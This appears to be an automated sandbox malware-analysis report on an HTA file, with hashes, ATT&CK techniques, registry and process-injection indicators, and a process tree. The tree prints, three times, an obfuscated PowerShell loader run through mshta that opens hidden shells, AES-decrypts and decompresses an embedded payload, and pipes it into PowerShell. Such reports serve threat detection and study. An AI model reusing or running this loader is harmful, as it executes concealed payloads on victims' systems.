b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985

General

Target

localer-en.hta
Size

1.1MB
MD5

674e3c0ae0f2627c10b58a717ee093bd
SHA1

21f15d58046119712572a5114b781027c99f7bc4
SHA256

b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985
SHA512

4d6444d49befa990756aa4e668ac6b664b4bdd1b19bf3914afe067ed0ed0d6ee6e34a114e0a47d1363bcf588b307f032b3c0638620385f02d12583f1706d37ef
SSDEEP

1536:7pLwiizmnY5q7O2Db9L1/j/SFBOWrhRxPNahQo8y8Im+lIWFT5YhmFfON/H8P2c0:7ppizmnYs7Og9LNjaH1rhRxPNahYYPs

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-377084978-2088738870-2818360375-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe
1340	powershell.exe
2384	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	1340	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 2320	2584	mshta.exe	28
PID 2584 wrote to memory of 2320	2584	mshta.exe	28
PID 2584 wrote to memory of 2320	2584	mshta.exe	28
PID 2584 wrote to memory of 2320	2584	mshta.exe	28
PID 2320 wrote to memory of 296	2320	powershell.exe	30
PID 2320 wrote to memory of 296	2320	powershell.exe	30
PID 2320 wrote to memory of 296	2320	powershell.exe	30
PID 2320 wrote to memory of 296	2320	powershell.exe	30
PID 296 wrote to memory of 1340	296	cmd.exe	32
PID 296 wrote to memory of 1340	296	cmd.exe	32
PID 296 wrote to memory of 1340	296	cmd.exe	32
PID 296 wrote to memory of 1340	296	cmd.exe	32
PID 296 wrote to memory of 2384	296	cmd.exe	33
PID 296 wrote to memory of 2384	296	cmd.exe	33
PID 296 wrote to memory of 2384	296	cmd.exe	33
PID 296 wrote to memory of 2384	296	cmd.exe	33

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\localer-en.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:296
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1340
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V9P36S8ZDLQO0AERI71P.temp

Filesize
7KB

MD5
f2ae644e56486402ccb7da64d71bd96d

SHA1
0cfd294ef7f67e978e38ce76edad6fd91a843f31

SHA256
396be99462dbaca3fbf4a376349ed77cfe47620971051cb05da9db058bcaaf23

SHA512
26cd7af54321a0f2c44e60c9810c7ea0bb3691a202fbbf6d74c7afbda02c95b09e2a311016c7cfe8839de1d0e2df87d891e25f990051059aa1d52762c5e8186c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f2ae644e56486402ccb7da64d71bd96d

SHA1
0cfd294ef7f67e978e38ce76edad6fd91a843f31

SHA256
396be99462dbaca3fbf4a376349ed77cfe47620971051cb05da9db058bcaaf23

SHA512
26cd7af54321a0f2c44e60c9810c7ea0bb3691a202fbbf6d74c7afbda02c95b09e2a311016c7cfe8839de1d0e2df87d891e25f990051059aa1d52762c5e8186c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f2ae644e56486402ccb7da64d71bd96d

SHA1
0cfd294ef7f67e978e38ce76edad6fd91a843f31

SHA256
396be99462dbaca3fbf4a376349ed77cfe47620971051cb05da9db058bcaaf23

SHA512
26cd7af54321a0f2c44e60c9810c7ea0bb3691a202fbbf6d74c7afbda02c95b09e2a311016c7cfe8839de1d0e2df87d891e25f990051059aa1d52762c5e8186c

Download Submit
memory/1340-32-0x0000000071AA0000-0x000000007204B000-memory.dmp

Filesize
5.7MB

Download
memory/1340-20-0x0000000071AA0000-0x000000007204B000-memory.dmp

Filesize
5.7MB

Download
memory/1340-15-0x0000000002000000-0x0000000002040000-memory.dmp

Filesize
256KB

Download
memory/1340-13-0x0000000071AA0000-0x000000007204B000-memory.dmp

Filesize
5.7MB

Download
memory/2320-6-0x00000000002B0000-0x00000000002F0000-memory.dmp

Filesize
256KB

Download
memory/2320-7-0x0000000071AA0000-0x000000007204B000-memory.dmp

Filesize
5.7MB

Download
memory/2320-2-0x0000000071AA0000-0x000000007204B000-memory.dmp

Filesize
5.7MB

Download
memory/2320-5-0x00000000002B0000-0x00000000002F0000-memory.dmp

Filesize
256KB

Download
memory/2320-4-0x00000000002B0000-0x00000000002F0000-memory.dmp

Filesize
256KB

Download
memory/2320-3-0x0000000071AA0000-0x000000007204B000-memory.dmp

Filesize
5.7MB

Download
memory/2384-21-0x0000000071AA0000-0x000000007204B000-memory.dmp

Filesize
5.7MB

Download
memory/2384-22-0x0000000071AA0000-0x000000007204B000-memory.dmp

Filesize
5.7MB

Download
memory/2384-33-0x0000000071AA0000-0x000000007204B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing